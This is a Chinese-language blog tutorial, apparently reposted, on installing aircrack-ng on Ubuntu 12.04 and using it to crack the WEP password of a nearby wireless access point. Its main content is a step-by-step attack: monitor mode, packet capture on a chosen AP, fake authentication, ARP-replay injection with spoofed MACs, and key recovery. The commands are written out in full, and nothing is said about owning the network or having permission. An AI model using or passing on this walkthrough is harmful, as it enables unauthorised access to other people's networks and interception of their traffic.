ubuntu 12.04 安装和使用aircrack-ng 教程

原文地址:http://www.maybe520.net/blog/1744/

破解无线密码

1`backtrack是最合适不过的,从U盘启动backtrack 系统也很方便

2`虚拟机中的BT5系统破解无线密码需要插外置的USB网卡

3`用ubuntu 来破解密码

于是打开终端输入以下命令来安装它
sudo apt-get install aircrack-ng

首先安装两个扩展
sudo apt-get install build-essential
sudo apt-get install libssl-dev

然后到http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz 下载最新版的aircrack-ng，解压它

保存好后，开始编译安装
make
sudo make install

怎么使用ubuntu 中的aircrack-ng 来破解无线密码呢？

ubuntu 中 aircrack-ng 使用教程

1、启动无线网卡的监控模式，在终端中输入：sudo airmon-ng start wlan0
（wlan0是无线网卡的端口,可用命令 ifconfig 查看）

2、查看无线AP在终端中输入：
sudo airodump-ng mon0
（mon0 是启动监控模式后无线网的端口）
查看有哪些采用wep加密的AP在线，然后按 ctrl+c 中止，不要关闭终端。

3、抓包
打开另一个终端，输入：
sudo airodump-ng -c 6 –bssid AP’s MAC -w wep mon0
(-c 后面跟着的6是要破解的AP工作频道，–bissid后面跟着的AP’sMAC是要欲破解AP的MAC地址，-w后面跟着wep的是抓下来的数据包DATA保存的文件名，具体情况根据步骤2里面的在线AP更改频道和MAC地址，DATA保存的文件名可随便命名）

4、与AP建立虚拟连接
再打开一个新终端，输入：
sudo aireplay-ng -1 0 -a AP’s MAC -h My MAC mon0
（-h后面跟着的My MAC是自己的无线网卡的MAC地址，即ifconfig命令下wlan0对应的mac地址)

5、进行注入
成功建立虚拟连接后输入：
sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b AP’s MAC -h My MAC mon0
现在回头看下步骤3的终端是不是DATA在开始飞涨！（那串ff照抄就行）

6、解密
收集有15000个以上的DATA之后，另开一个终端，切换到aircrack-ng-1.1目录，执行以下命令
sudo aircrack-ng wep*.cap
进行解密
（如果没算出来的话，继续等，aircrack-ng 会在DATA每增加多15000个之后就自动再运行，直到算出密码为至，注意此处文件的名字要与步骤3里面设置的名字一样，且*号是必需的）

7、收工
破解出密码后在终端中输入 sudo airmon-ng stop mon0 关闭监控模式，不然无线网卡会一直向刚刚的AP进行注入的，用ctrl+c退出或者直接关闭终端都是不行的。

如果要卸载ubuntu 上的aircrack-ng，可切换到aircrack-ng-1.1 目录，执行
sudo make uninstall
最后在手动删除该目录及目录下的东西即可。